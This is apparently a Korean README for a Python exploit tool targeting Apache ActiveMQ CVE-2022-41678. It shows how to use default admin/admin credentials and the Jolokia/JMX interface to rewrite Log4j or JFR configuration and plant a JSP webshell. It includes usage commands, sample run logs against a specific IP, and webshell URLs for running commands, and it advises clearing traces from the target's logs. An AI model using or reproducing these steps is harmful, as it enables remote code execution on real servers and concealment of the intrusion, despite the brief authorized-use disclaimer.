Apache ActiveMQ CVE-2022-41678 취약점 악용 도구

취약점 개요

참고 문서: https://app.nextcyber.cn/courses/41/tasks/580

CVE-2022-41678은 Apache ActiveMQ의 원격 코드 실행 취약점입니다. 이 취약점을 통해 공격자는 JMX(Java Management Extensions) 인터페이스를 통해 Log4j 구성 또는 JFR(Java Flight Recorder) 구성을 수정하여 악성 JSP 웹셸을 서버의 웹 디렉토리에 작성하고, 최종적으로 원격 코드 실행을 달성할 수 있습니다.

이 취약점은 여러 버전의 Apache ActiveMQ에 영향을 미치며, 구체적인 영향을 받는 버전은 Log4j 및 JFR 구성 사용 여부에 따라 달라집니다.

환경 요구 사항

Python 3.6 이상
필요한 종속성 설치:
```
pip install requests
```
대상 ActiveMQ 서버는 JMX 인터페이스가 활성화되어 있어야 합니다(일반적으로 /api/jolokia/ 경로를 통해 액세스).
공격자는 ActiveMQ 콘솔의 사용자 이름과 비밀번호를 알고 있어야 합니다(기본값은 일반적으로 admin/admin입니다).

사용 방법

기본 사용법

기본 admin/admin 자격 증명과 자동 탐지 악용 방식을 사용합니다:

python exp.py http://target:8161

-u 및 -p 매개변수를 통해 사용자 이름과 비밀번호를 지정할 수도 있습니다:

# Log4j 사용
python exp.py -u admin -p admin http://10.22.174.214:8161

# 실행 결과는 다음과 같습니다
python exp.py -u admin -p admin http://10.22.174.214:8161
2025-10-14 22:53:54,115 - INFO - choice MBean 'org.apache.logging.log4j2:type=5faeada1' automatically
2025-10-14 22:53:54,334 - INFO - update log config
2025-10-14 22:53:54,467 - INFO - write webshell to http://10.22.174.214:8161/admin/shell.jsp?cmd=id
2025-10-14 22:53:54,655 - INFO - restore log config

기본 Log4j 악용 방식 외에도 --exploit jfr 매개변수를 사용하여 JFR 악용 방식을 지정할 수도 있습니다.

# JFR 방식 사용
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161

# 실행 결과는 다음과 같습니다
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161/
2025-10-14 23:16:35,978 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2025-10-14 23:16:37,390 - INFO - create flight record, id = 1
2025-10-14 23:16:37,533 - INFO - update configuration for record 1
2025-10-14 23:16:38,167 - INFO - start record
2025-10-14 23:16:39,243 - INFO - stop record
2025-10-14 23:16:39,309 - INFO - write webshell to http://10.22.174.214:8161/admin/shelljfr.jsp?cmd=id

악용 결과 확인

성공적으로 악용한 후, 다음 URL에 접속하여 명령을 실행할 수 있습니다:

# Log4j 방식으로 작성된 웹셸
http://target:8161/admin/shell.jsp?cmd=명령

# JFR 방식으로 작성된 웹셸
http://target:8161/admin/shelljfr.jsp?cmd=명령

예를 들어, id 명령을 실행:

http://target:8161/admin/shell.jsp?cmd=id

도구 매개변수 설명

주의 사항

이 도구는 보안 연구 및 승인된 테스트용으로만 사용해야 하며, 승인되지 않은 시스템에 사용하지 마십시오.
성공적으로 악용한 후, 도구는 원래 Log4j 구성을 복원하여 대상 시스템에 미치는 영향을 최소화하려고 시도합니다.
대상 시스템에 네트워크 액세스 제한이 있는 경우, 대상의 JMX 인터페이스에 액세스할 수 있도록 네트워크 구성을 조정해야 할 수 있습니다.
ActiveMQ의 다른 버전은 경로와 구성이 다를 수 있으므로, 실제 상황에 따라 도구의 경로를 조정해야 할 수 있습니다.
도구는 JMX 인터페이스를 사용하여 작동하므로, 대상 ActiveMQ에서 이 인터페이스가 활성화되어 있는지 확인해야 합니다.
이 도구를 실행하면 대상 시스템에 로그 기록이 남을 수 있으므로 관련 흔적을 정리하는 데 주의하십시오.

`--username`	`-u`	문자열	`admin`	ActiveMQ 콘솔의 사용자 이름
`--password`	`-p`	문자열	`admin`	ActiveMQ 콘솔의 비밀번호
`--exploit`	`-e`	문자열	`auto`	악용 방식, 선택 값: `auto`, `log4j`, `jfr`
`url`	-	문자열	-	대상 ActiveMQ의 URL 주소(필수 매개변수)

CVE-2022-41678

인기